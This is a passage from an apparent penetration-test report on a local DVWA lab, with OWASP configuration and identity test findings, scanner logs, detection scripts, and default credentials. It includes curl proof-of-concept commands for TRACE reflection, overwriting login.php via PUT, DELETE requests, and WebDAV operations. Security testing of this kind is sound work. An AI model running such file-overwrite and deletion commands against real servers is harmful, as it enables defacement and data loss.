Synthesized all discovered entry points, execution paths, and fingerprinting results to understand the structure and components of the application.

---

### 4.10.2 Initial Access

#### PoC:

- Combined results from `crawl()`, `fingerprint_framework()`, and `fingerprint_web_app()` to map the application's architecture.

#### Sample Evidence:

- Entry Points: 64 forms, multiple file upload points, and AJAX endpoints.
  - Framework: Unknown.
  - Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
  - Application appears to be a multi-module PHP application with various vulnerable components and workflows.
- 

### 4.10.3 Privilege Escalation

*Not Applicable.*

The scope of this test was limited to information gathering and enumeration. No privilege escalation attempts were performed. However, the presence of multiple forms and accessible configuration files may provide vectors for escalation in a full assessment.

---

### 4.10.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

---

## 4.11 Network/Infrastructure Configuration (OTG-CONFIG-001) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.11.1 Service Enumeration

**OTG-CONFIG-001: Network/Infrastructure Configuration** Not applicable since we're testing localhost where network segmentation doesn't exist

---

### 4.11.2 Initial Access

There is no security question functionality in DVWA

### 4.11.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.11.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.12 Application Platform Configuration (OTG-CONFIG-002) (http://localhost/dvwa (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

### 4.12.1 Service Enumeration

#### Port Scan Results

IP Address	Ports Open
127.0.0.1	80

- **Server Fingerprint:**

- Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
- X-Powered-By: PHP/8.2.4

#### Technical Details:

- Server version and PHP version are exposed in HTTP headers.

#### Evidence:

- HTTP Response Headers:
  - Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
  - X-Powered-By: PHP/8.2.4

### 4.12.2 Initial Access

#### Vulnerability Explanation:

The application exposes sensitive information via HTTP headers (`Server` and `X-Powered-By`), revealing the exact versions of Apache and PHP in use. Attackers can leverage this information to identify known vulnerabilities in the exposed software versions.

#### Vulnerability Fix:

- Remove or obfuscate version information in HTTP headers (e.g., configure Apache and PHP to not disclose versions).
- Restrict access to `/phpmyadmin/` (e.g., via IP whitelisting, authentication, or disabling in production).

#### Proof of Concept (PoC) Code or Exploitation Steps:

The following Python functions were used to identify these issues (see `owasp_config_test_2.py`):

- `test_platform_config()` — Checks for version leaks in HTTP headers.

### Relevant Code Snippet:

```
def test_platform_config(base_url, server_info):
    findings = []
    status = 'Passed'
    evidence = []
    try:
        resp = requests.get(base_url, timeout=5)
        headers = resp.headers
        # Check for version leaks
        for h in ['Server', 'X-Powered-By', 'X-AspNet-Version', 'X-Framework', 'X-Backend-Server']:
            if h in headers and re.search(r'\d', headers[h]):
                findings.append(f"Header {h} exposes version: {headers[h]}")
                evidence.append(f"{h}: {headers[h]}")
        # PHP debug headers
        for h in headers:
            if 'debug' in h.lower() or 'x-php' in h.lower():
                findings.append(f"Potential debug header: {h}: {headers[h]}")
                evidence.append(f"{h}: {headers[h]}")
        if findings:
            status = 'Failed'
    except Exception as e:
        findings.append(f"Error: {e}")
        status = 'Failed'
    return {'id': 'OTG-CONFIG-002', 'name': 'Platform Configuration', 'status': status, 'findings': findings, 'evidence': evidence}
```

### Evidence:

- **Platform Configuration:**
  - Header Server exposes version: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4
  - Header X-Powered-By exposes version: PHP/8.2.4
- **Admin Interfaces:**
  - Admin interface accessible: http://localhost/phpmyadmin/
  - HTTP 200: http://localhost/phpmyadmin/

---

## 4.12.3 Privilege Escalation

### Not applicable.

No privilege escalation vulnerabilities were identified during configuration and deployment management testing. The tests focused on information disclosure and administrative interface exposure, not on privilege escalation within the application or underlying system.

---

## 4.12.4 Post-Exploitation

### Not applicable.

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.13 File Extensions Handling for Sensitive Information (OTG-CONFIG-003) (http://localhost/dvwa (127.0.0.1))

Score:	4.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

### 4.13.1 Service Enumeration

#### 1.1 Target Information

- **Target URL:** http://localhost/dvwa
- **Service:** HTTP (Apache Web Server)
- **Application:** Damn Vulnerable Web Application (DVWA)
- **Assessment Date:** 2025-08-06

#### 1.2 Methodology

The testing methodology included the following steps:

1. **Authentication:** Logged into DVWA with default credentials
2. **Reconnaissance:** Identified common directories for sensitive files including root directory
3. **Enumeration:** Tested access to files with sensitive extensions including:
  - PHP information files (phpinfo.php, info.php) - tested in root and subdirectories
  - Configuration files (.php, .env, .config, .ini)
  - Backup files (.bak, .backup, .old, ~)
  - Database dumps (.sql)
  - Log files (.log)
  - Version control files (.git, .svn)
4. **Content Analysis:** Evaluated HTTP responses for sensitive content disclosure using intelligent pattern matching

#### 1.3 Discovery of Sensitive Files

During the file extension handling assessment, the following sensitive file was discovered to be publicly accessible:

File Path	HTTP Status	Risk Level	Content Type
/phpinfo.php	200 OK	High	text/html; charset=UTF-8



```
2025-08-06 22:59:59,339 - INFO - Testing: http://localhost/.svn/config.bak
2025-08-06 22:59:59,392 - INFO - Testing: http://localhost/.svn/configuration.bak
2025-08-06 22:59:59,446 - INFO - Testing: http://localhost/.svn/settings.bak
2025-08-06 22:59:59,499 - INFO - Testing: http://localhost/.svn/access.log
2025-08-06 22:59:59,552 - INFO - Testing: http://localhost/.svn/error.log
2025-08-06 22:59:59,606 - INFO - Testing: http://localhost/.svn/debug.log
2025-08-06 22:59:59,659 - INFO - Testing: http://localhost/.svn/app.log
2025-08-06 22:59:59,712 - INFO - Testing: http://localhost/.svn/.git/config
2025-08-06 22:59:59,765 - INFO - Testing: http://localhost/.svn/.git/HEAD
2025-08-06 22:59:59,818 - INFO - Testing: http://localhost/.svn/.svn/entries
```

## 1.4 Analysis

The `phpinfo.php` file is a standard PHP script that displays detailed information about the PHP configuration of the server. When accessible to unauthorized users, it provides a wealth of information that can be used to plan further attacks, including:

- PHP version and configuration settings
- Loaded PHP extensions and their versions
- Environment variables
- Server configuration details
- File system paths
- Database connection information
- Security settings (e.g., `open_basedir`, `disable_functions`)

This represents a significant information disclosure vulnerability that violates the principle of least privilege and could facilitate further exploitation.

### 4.13.2 Initial Access

## 2.1 Vulnerability Exploitation

The assessment identified that the `phpinfo.php` file was accessible without authentication at `http://localhost/dvwa/phpinfo.php`.

#### Exploitation Method:

- Direct HTTP GET request to the exposed file
- No authentication required
- No special tools or techniques needed

#### Proof of Concept:

```
curl http://localhost/dvwa/phpinfo.php
```

or simply navigate to `http://localhost/dvwa/phpinfo.php` in a web browser.

## 2.2 Impact Assessment

While this vulnerability does not provide direct command execution or file system access, it represents a critical information disclosure that could be used to:

- Identify the exact PHP version for targeted exploitation
- Discover enabled PHP modules that might have known vulnerabilities
- Understand the server configuration and security restrictions
- Gather environment variables that might contain sensitive information
- Identify file system paths for potential path traversal attacks

This information would significantly reduce the attack surface for subsequent exploitation attempts.

## Recommendations

1. **File Access Control:** Implement proper file access controls to prevent serving of sensitive files in all directories including root
2. **Web Server Configuration:** Configure web server to deny access to common backup and temporary file extensions
3. **Remove Sensitive Files:** Delete or secure development files like `phpinfo.php`, `test.php` from production (especially in root directory)
4. **File Permissions:** Set appropriate file permissions to restrict access to sensitive files
5. **Deployment Process:** Ensure development and backup files are not deployed to production
6. **Regular Auditing:** Implement regular scanning for sensitive file exposure in all directories

### 4.13.3 Privilege Escalation

**Not applicable.**

No privilege escalation vulnerabilities were identified during configuration and deployment management testing. The tests focused on information disclosure and administrative interface exposure, not on privilege escalation within the application or underlying system.

### 4.13.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.14 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.14.1 Service Enumeration

#### Port Scan Results

IP Address	Ports Open
127.0.0.1	80

**Summary:** Service enumeration was performed against the DVWA instance at <http://localhost/dvwa/> using automated OTG-CONFIG tests. The following information was gathered:

- **Crawl Meta-data:**
  - No AJAX endpoints to be exposed.

#### **OTG-CONFIG-004: Old/Backup/Unreferenced Files**

- **Findings:** None
- **Evidence:** None

### 4.14.2 Initial Access

#### Proof of Concept (PoC) Code or Exploitation Steps:

The following Python functions were used to identify these issues (see [owasp\\_config\\_test\\_2.py](#)):

- test\_old\_backup\_files()

```
def test_old_backup_files(base_url, files):
    findings = []
    evidence = []
    status = 'Passed'
    for f in files:
        if any(f.endswith(ext) for ext in ['.bak', '.old', '.zip', '.sql']):
            url = urljoin(base_url, f)
            try:
                r = requests.get(url, timeout=5)
                if r.status_code == 200:
                    findings.append(f"Backup/sample file downloadable: {url}")
                    evidence.append(f"HTTP 200: {url}\n{r.text[:200]}")
            except Exception as e:
```

```
        evidence.append(f"Error accessing {url}: {e}")
    if findings:
        status = 'Failed'
    return {'id': 'OTG-CONFIG-004', 'name': 'Old/Backup/Unreferenced Files', 'status':
status, 'findings': findings, 'evidence': evidence}
```

---

### 4.14.3 Privilege Escalation

**Not applicable.**

No privilege escalation vulnerabilities were identified during configuration and deployment management testing. The tests focused on information disclosure and administrative interface exposure, not on privilege escalation within the application or underlying system.

---

### 4.14.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

---

# 4.15 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) (http://localhost/dvwa (127.0.0.1))

Score:	9.6 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

## 4.15.1 Service Enumeration

### 1.1 Target Information

- **Target URL:** http://localhost/dvwa
- **Service:** HTTP (Apache Web Server)
- **Application:** Damn Vulnerable Web Application (DVWA)
- **Assessment Date:** 2025-08-06

### 1.2 Methodology

The testing methodology included the following steps:

1. **Authentication:** Logged into DVWA with default credentials
2. **Path Enumeration:** Tested administrative interface paths including:
  - Application administration panels
  - Database management interfaces
  - Server infrastructure endpoints
  - Configuration and setup interfaces
  - Development and debugging interfaces
  - DVWA-specific vulnerability modules
3. **Special Testing:** Specifically tested DVWA authentication bypass vulnerability with default credentials (gordonb:abc123)
4. **Testing Locations:** Checked interfaces relative to both: DVWA application root (http://localhost/dvwa) Server root (http://localhost)
5. **Risk Assessment:** Categorized findings by interface type and potential risk level

### 1.3 Discovered Administrative Interfaces

The following administrative interfaces were discovered and accessible:

Interface Path	Status	Risk Level	Type
/phpmyadmin/	200 OK	High	Application Admin
/server-status/	200 OK	High	Server Infrastructure

Interface Path	Status	Risk Level	Type
/server-info/	200 OK	High	Server Infrastructure
/xampp/	200 OK	High	Server Infrastructure
/dvwa/vulnerabilities/authbypass/	200 OK	High	DVWA Vulnerabilities
/dvwa/vulnerabilities/csrf/	200 OK	High	Server Infrastructure
/dvwa/setup.php	200 OK	High	Server Infrastructure
/dvwa/phpinfo.php	200 OK	High	Server Infrastructure
/dvwa/config/	200 OK	High	Configuration
/dvwa/database/	200 OK	High	Database Admin
/dvwa/README.md	200 OK	High	Database Admin
/dvwa/login.php	200 OK	Medium	Unknown

```

2025-08-06 23:44:15,062 - INFO - Testing DVWA interface: http://localhost/dvwa/cacti/
2025-08-06 23:44:15,066 - INFO - Testing server interface: http://localhost/cacti/
2025-08-06 23:44:15,168 - INFO - Testing DVWA interface: http://localhost/dvwa/config/
2025-08-06 23:44:15,183 - INFO - Testing server interface: http://localhost/config/
2025-08-06 23:44:15,186 - INFO - Found high-risk interface: config/ (Type: Configuration)
2025-08-06 23:44:15,287 - INFO - Testing DVWA interface: http://localhost/dvwa/configuration/
2025-08-06 23:44:15,291 - INFO - Testing server interface: http://localhost/configuration/
2025-08-06 23:44:15,394 - INFO - Testing DVWA interface: http://localhost/dvwa/setup/
2025-08-06 23:44:15,398 - INFO - Testing server interface: http://localhost/setup/

```

## 1.4 Analysis

The enumeration revealed a comprehensive exposure of administrative interfaces across multiple categories:

### Server Infrastructure Interfaces:

- **phpMyAdmin:** Complete database management interface accessible at /phpmyadmin/
- **Apache Server Status:** Real-time server monitoring at /server-status/
- **Apache Server Info:** Detailed server configuration at /server-info/
- **XAMPP Control Panel:** Full server management at /xampp/

### Application-Specific Interfaces:

- **DVWA Vulnerability Modules:** All security training modules accessible without proper authentication controls
- **Setup Interface:** Database initialization at /dvwa/setup.php
- **Configuration Directory:** Application configuration files at /dvwa/config/

The exposure of these interfaces indicates a complete breakdown of the principle of least privilege and proper access control mechanisms.

## 4.15.2 Initial Access

### 2.1 Vulnerability Exploitation

Multiple pathways for initial access were identified, all requiring no authentication:

#### Pathway 1: phpMyAdmin Access

- **Interface:** `http://localhost/phpmyadmin/`
- **Status:** 200 OK (accessible without authentication)
- **Exploitation Method:** Direct access to the phpMyAdmin login page
- **Impact:** Potential database access with default credentials or brute force attacks

#### Pathway 2: DVWA Authentication Bypass

- **Interface:** `http://localhost/dvwa/vulnerabilities/authbypass/`
- **Status:** 200 OK
- **Credentials:** Known default credentials (gordonb:abc123)
- **Exploitation Method:** Direct access to authentication bypass vulnerability
- **Impact:** Complete bypass of authentication mechanisms

#### Pathway 3: Server Information Disclosure

- **Interfaces:**
  - `http://localhost/server-status/` - Real-time server monitoring
  - `http://localhost/server-info/` - Complete server configuration
  - `http://localhost/dvwa/phpinfo.php` - PHP configuration details
- **Status:** 200 OK
- **Exploitation Method:** Direct access to information disclosure endpoints
- **Impact:** Comprehensive system reconnaissance for further exploitation

### 2.2 Proof of Concept

```
# Access phpMyAdmin
curl http://localhost/phpmyadmin/

# Access server status
curl http://localhost/server-status/

# Access DVWA authentication bypass
curl http://localhost/dvwa/vulnerabilities/authbypass/

# Access XAMPP control panel
curl http://localhost/xampp/
```

### 2.3 Impact Assessment

The exposure of these administrative interfaces provides multiple trivial pathways for initial access:

- Complete access to database management through phpMyAdmin
- Direct exploitation of authentication bypass vulnerability
- Comprehensive system reconnaissance through server information endpoints

- Potential configuration file access through /dwwa/config/ The risk is considered high due to the direct access to critical administrative functions without any authentication requirements.

## Recommendation

1. **Access Control:** Implement proper authentication and authorization for all administrative interfaces
2. **Interface Removal:** Remove or disable unused administrative interfaces from production environments
3. **Network Segmentation:** Restrict access to administrative interfaces to trusted networks only
4. **Web Server Configuration:** Configure web server to deny access to common administrative paths
5. **Regular Auditing:** Implement automated scanning for exposed administrative interfaces
6. **Strong Authentication:** Use multi-factor authentication for high-risk administrative interfaces
7. **DVWA Security:** In production environments, ensure DVWA vulnerability modules are properly secured or removed

### 4.15.3 Privilege Escalation

**Not applicable.**

No privilege escalation vulnerabilities were identified during configuration and deployment management testing. The tests focused on information disclosure and administrative interface exposure, not on privilege escalation within the application or underlying system.

### 4.15.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.



## 4.16 HTTP Methods (OTG-CONFIG-006) (http://localhost/dvwa (127.0.0.1))

Score:	5.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

### 4.16.1 Service Enumeration

#### 1.1 Target Information

- **Target URL:** http://localhost/dvwa
- **Service:** HTTP (Apache Web Server)
- **Application:** Damn Vulnerable Web Application (DVWA)
- **Assessment Date:** 2025-08-06

#### 1.2 Methodology

The testing methodology included the following steps:

1. **Authentication:** Logged into DVWA with default credentials
2. **Method Enumeration:** Tested 16 HTTP methods including:
  - Standard methods: GET, POST, HEAD, OPTIONS
  - Extended methods: PUT, DELETE, TRACE, PATCH, CONNECT
  - WebDAV methods: PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK
3. **Endpoint Testing:** Tested methods on 18 key DVWA endpoints including:
  - Main application pages
  - Authentication interfaces
  - Security configuration pages
  - Vulnerability modules
4. **Method Tampering:** Tested HTTP method bypass techniques
5. **Risk Assessment:** Analyzed responses for security implications

#### 1.3 HTTP Methods Testing

The assessment tested 16 HTTP methods across 18 DVWA endpoints:

##### HTTP Methods Tested:

- Standard: GET, POST, HEAD, OPTIONS
- Extended: PUT, DELETE, TRACE, PATCH, CONNECT
- WebDAV: PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK

### Endpoints Tested:

- Main application pages ( /, /index.php )
- Authentication interfaces ( /login.php, /logout.php )
- Security configuration ( /security.php, /setup.php )
- Vulnerability modules (all 11 modules)
- Documentation ( /instructions.php )

```
2025-08-06 23:53:09,412 - INFO - Testing MKCOL on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,437 - INFO - Found Medium risk: MKCOL method on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,488 - INFO - Testing COPY on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,515 - INFO - Found Medium risk: COPY method on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,567 - INFO - Testing MOVE on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,594 - INFO - Found Medium risk: MOVE method on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,645 - INFO - Testing LOCK on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,689 - INFO - Found Medium risk: LOCK method on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,739 - INFO - Testing UNLOCK on http://localhost/dvwa/vulnerabilities/xss_s/
2025-08-06 23:53:09,783 - INFO - Found Medium risk: UNLOCK method on http://localhost/dvwa/vulnerabilities/xss_s/
```

## 1.4 Analysis

The enumeration revealed that dangerous HTTP methods are enabled across the application:

### High-Risk Methods Enabled:

- **TRACE:** Enabled on 6 endpoints including /security.php and /instructions.php
- **PUT:** Enabled on 10 endpoints including /login.php and /setup.php
- **DELETE:** Enabled on 7 endpoints including /logout.php and /instructions.php

### WebDAV Methods Enabled:

- PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK methods were enabled on multiple endpoints
- These methods were accessible on authentication, administrative, and vulnerability interfaces

The complete lack of HTTP method restrictions indicates a fundamental misconfiguration of the web server and application, exposing the system to multiple attack vectors.

## 4.16.2 Initial Access

### 2.1 Vulnerability Exploitation

Multiple pathways for initial access were identified through HTTP method abuse:

#### Pathway 1: Cross-Site Tracing (XST) via TRACE Method

- **Endpoints:**
  - http://localhost/dvwa/security.php
  - http://localhost/dvwa/instructions.php
  - http://localhost/dvwa/index.php
- **Status:** 200 OK with header reflection
- **Exploitation Method:**

```
curl -X TRACE http://localhost/dvwa/security.php
```

- **Impact:** The TRACE method reflects request headers, including cookies and authorization tokens, enabling potential session hijacking through XSS attacks.

### Pathway 2: File Manipulation via PUT/DELETE Methods

- **Endpoints:**

- `http://localhost/dvwa/login.php` (PUT enabled)
- `http://localhost/dvwa/logout.php` (DELETE enabled)
- `http://localhost/dvwa/setup.php` (PUT/DELETE enabled)

- **Status:** 200 OK

- **Exploitation Method:**

```
# Attempt to modify login page
curl -X PUT -d @malicious.html http://localhost/dvwa/login.php

# Attempt to delete logout functionality
curl -X DELETE http://localhost/dvwa/logout.php
```

- **Impact:** Potential to modify or delete critical application files, disrupting functionality or injecting malicious content.

### Pathway 3: WebDAV Operations on Critical Endpoints

- **Endpoints:** Multiple, including `/login.php`, `/security.php`, `/instructions.php`
- **Methods:** PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK
- **Status:** 200 OK
- **Exploitation Method:**

```
# Attempt to create collections
curl -X MKCOL http://localhost/dvwa/new_directory/

# Attempt to copy files
curl -X COPY -H "Destination: http://localhost/dvwa/copied_file.php" http://localhost/dvwa/original.php
```

- **Impact:** Potential to manipulate the application structure, create new directories, or copy sensitive files.

## 2.2 Proof of Concept

The following commands demonstrate the vulnerabilities:

```
# Verify TRACE method is enabled and reflects headers
curl -X TRACE -H "Test-Header: Sensitive-Data" http://localhost/dvwa/security.php

# Test PUT method on login page
curl -X PUT -d "test=data" http://localhost/dvwa/login.php

# Test DELETE method on logout page
curl -X DELETE http://localhost/dvwa/logout.php

# Test WebDAV methods
```

```
curl -X PROPFIND http://localhost/dvwa/login.php
curl -X MKCOL http://localhost/dvwa/test_directory/
```

## 2.3 Impact Assessment

The exposure of these HTTP methods provides multiple trivial pathways for initial access:

- Complete access to sensitive header information through TRACE method (XST vulnerability)
- Potential file system manipulation through PUT/DELETE methods
- Application structure manipulation through WebDAV methods
- Potential disruption of authentication mechanisms

The risk is considered high due to the direct access to critical application functionality without any authentication requirements for method execution.

### Recommendation

1. **Disable Dangerous Methods:** Explicitly disable HTTP methods that are not required for application functionality
2. **Web Server Configuration:** Configure web server to reject dangerous HTTP methods
3. **Application-Level Controls:** Implement proper method validation in the application
4. **Regular Auditing:** Periodically test HTTP methods to ensure they remain properly restricted
5. **Security Headers:** Implement proper security headers to prevent method abuse

## 4.16.3 Privilege Escalation

**Not applicable.**

No privilege escalation vulnerabilities were identified during configuration and deployment management testing. The tests focused on information disclosure and administrative interface exposure, not on privilege escalation within the application or underlying system.

## 4.16.4 Post-Exploitation

**Not applicable.**

No post-exploitation activities were performed as no initial access or privilege escalation was achieved that would allow further actions on the system.

## 4.17 HTTP Strict Transport Security (OTG-CONFIG-007) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.17.1 Service Enumeration

**OTG-CONFIG-007: HTTP Strict Transport Security** DVWA is served over plain HTTP, so you cannot test HSTS

---

### 4.17.2 Initial Access

There is no security question functionality in DVWA

### 4.17.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.17.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.18 RIA Cross Domain Policy (OTG-CONFIG-008) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N

### 4.18.1 Service Enumeration

**OTG-CONFIG-008: RIA Cross Domain Policy** Not applicable because DVWA is not a RIA application

---

### 4.18.2 Initial Access

There is no security question functionality in DVWA

### 4.18.3 Privilege Escalation

There is no security question functionality in DVWA

### 4.18.4 Post-Exploitation

There is no security question functionality in DVWA

## 4.19 Role Definitions (OTG-IDENT-001) (<http://localhost/dvwa> (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.19.1 Service Enumeration

#### Target Overview

- **IP Address:** <http://localhost/dvwa> (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** <http://localhost/dvwa/login.php>

### 4.19.2 Initial Access

#### Findings

Initial access was achieved through the use of default credentials for a regular user account.

#### Evidence

- **Username:** gordonb
- **Password:** abc123
- **Login URL:** <http://localhost/dvwa/login.php>
- **Authentication Method:** Standard web form authentication
- **Session Management:** Cookie-based session tokens

The application accepted these default credentials, providing access to the application with regular user privileges. This is a known characteristic of DVWA for educational purposes.

#### Methodology

1. Accessed the DVWA login page
2. Entered the default regular user credentials (gordonb/abc123)
3. Successfully authenticated and gained access to the application
4. Verified session persistence through subsequent request

```
[*] Starting OTG-IDENT-001 Role Definitions Test
[*] Target: http://localhost/dvwa
[*] User: gordonb
[+] Dvwa is accessible
[*] Logging in as regular user...
[+] Successfully logged in as regular user
[*] Setting security level to low...
[+] Security level set to low
```

### 4.19.3 Privilege Escalation

#### Finding 1: Unauthorized Security Level Access

- **Vulnerability:** Unauthorized Security Level Access
- **Endpoint:** <http://localhost/dvwa/security.php>
- **Severity:** High
- **Evidence:** Regular user was able to access the security level configuration page, which should be restricted to administrators. The page contains sensitive controls that affect the entire application's security posture.
- **Method:** Direct URL access to admin-only pages without proper authorization checks.

#### Finding 2: CSRF Functionality Access

- **Vulnerability:** CSRF Functionality Access
- **Endpoint:** <http://localhost/dvwa/vulnerabilities/csrf/>
- **Severity:** Medium
- **Evidence:** Regular user was able to access the CSRF vulnerability page, which contains functionality to change passwords. This represents a complete bypass of role-based access controls.
- **Method:** Direct URL access to the CSRF page without proper authorization checks.

#### Finding 3: Potential Admin Password Modification

- **Vulnerability:** Potential Admin Password Modification Access
- **Endpoint:** <http://localhost/dvwa/vulnerabilities/csrf/>
- **Severity:** High
- **Evidence:** Regular user was able to access password change functionality that could potentially be used to modify administrative passwords through CSRF attacks.
- **Method:** Accessing the CSRF vulnerability page and observing password change form availability.

#### Finding 4: Unauthorized PHP Info Access

- **Vulnerability:** Unauthorized PHP Info Access
- **Endpoint:** <http://localhost/dvwa/phpinfo.php>
- **Severity:** Medium
- **Evidence:** Regular user was able to access detailed PHP configuration information that reveals server configuration, enabled modules, and potential attack vectors.
- **Method:** Direct URL access to [phpinfo.php](http://localhost/dvwa/phpinfo.php) without proper authorization.



## Finding 5: Unauthorized Setup Access

- **Vulnerability:** Unauthorized Setup Access
- **Endpoint:** <http://localhost/dvwa/setup.php>
- **Severity:** High
- **Evidence:** Regular user was able to access the setup/reinstall functionality, which could allow complete reconfiguration or reinstallation of the application.
- **Method:** Direct URL access to setup.php without proper authorization.

## Finding 6: Directory Listing Enabled

- **Vulnerability:** Directory Listing Enabled
- **Endpoint:** <http://localhost/dvwa/config/>
- **Severity:** Medium
- **Evidence:** Regular user was able to view directory contents of the config directory, potentially revealing sensitive configuration files.
- **Method:** Accessing the config directory directly in the browser.

## Finding 7: Privileged Module Access

- **Vulnerability:** Privileged Module Access
- **Endpoint:** <http://localhost/dvwa/vulnerabilities/upload/>, <http://localhost/dvwa/vulnerabilities/exec/>, <http://localhost/dvwa/vulnerabilities/fi/?page=include.php>
- **Severity:** High
- **Evidence:** Regular user was able to access multiple privileged vulnerability modules including file upload, command execution, and file inclusion.
- **Method:** Direct URL access to privileged vulnerability modules without proper authorization checks.

## Exploitation Steps

1. Logged in as regular user (gordonb/abc123)
2. Attempted to access various administrative and privileged pages directly via URL manipulation
3. Successfully accessed security configuration, CSRF functionality, setup page, and privileged vulnerability modules
4. Verified ability to view and potentially modify critical application settings
5. Confirmed complete privilege escalation from regular user to administrative capabilities
6. Documented access to all privileged functionality that should be restricted to administrators

```
[*] Testing authentication bypass vulnerabilities...
[*] Testing CSRF vulnerabilities...
[*] Testing admin functionality access...
[*] Testing setup and configuration access...
[*] Testing privilege escalation opportunities...
[*] Generating HTML report...
HTML report generated: OTG-IDENT-001_Report.html

=====
TEST SUMMARY
=====
High Severity Issues:    6
Medium Severity Issues: 3
Low Severity Issues:     0
Total Findings:          9
=====
Report saved as: OTG-IDENT-001_Report.html
```

## Recommendations

### 1. Implement Proper Authorization Checks

- Ensure all privileged pages perform server-side role validation
- Implement role-based access control (RBAC) for all sensitive functionality
- Never rely on client-side or UI-based restrictions alone

### 2. Fix Direct Object Reference Issues

- Implement proper access control on all endpoints
- Use indirect references instead of direct URLs to sensitive pages
- Validate user permissions before allowing access to any resource

### 3. Secure Configuration Files and Directories

- Move configuration files outside the web root directory
- Implement proper file permissions to prevent web access
- Disable directory listing on all directories

### 4. Implement Proper Error Handling

- Ensure consistent error messages that don't leak information about access control
- Log unauthorized access attempts for monitoring and alerting

### 5. Restrict Access to Sensitive Pages

- Limit access to setup.php, phpinfo.php, and other diagnostic pages
- Remove or protect these pages in production environments
- Implement IP-based restrictions for administrative pages

### 6. Regular Security Audits

- Conduct regular access control reviews

- Test role definitions during security assessments
- Implement automated testing for authorization bypass

#### **4.19.4 Post-Exploitation**

No post-exploitation as it is outside the scope of this test.

## 4.20 User Registration Process (OTG-IDENT-002) (There is no user registration functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.20.1 Service Enumeration

There is no user registration functionality in DVWA.

### 4.20.2 Initial Access

There is no user registration functionality in DVWA.

### 4.20.3 Privilege Escalation

There is no user registration functionality in DVWA.

### 4.20.4 Post-Exploitation

There is no user registration functionality in DVWA.

## 4.21 Account Provisioning Process (OTG-IDENT-003) (There is no account provisioning functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.21.1 Service Enumeration

There is no account provisioning functionality in DVWA.

### 4.21.2 Initial Access

There is no account provisioning functionality in DVWA.

### 4.21.3 Privilege Escalation

There is no account provisioning functionality in DVWA.

### 4.21.4 Post-Exploitation

There is no account provisioning functionality in DVWA.

## 4.22 Account Enumeration and Guessable User Account (OTG-IDENT-004) (<http://localhost/dvwa/login.php> (127.0.0.1))

Score:	9.8 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### 4.22.1 Service Enumeration

#### Target Overview

- **IP Address:** <http://localhost/dvwa> (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** <http://localhost/dvwa/login.php>

### 4.22.2 Initial Access

Initial access was achieved through account enumeration techniques that identified valid usernames in the application.

#### Evidence

- **Identified Valid Users:** admin
- **Enumeration Method:** Response analysis of authentication attempts
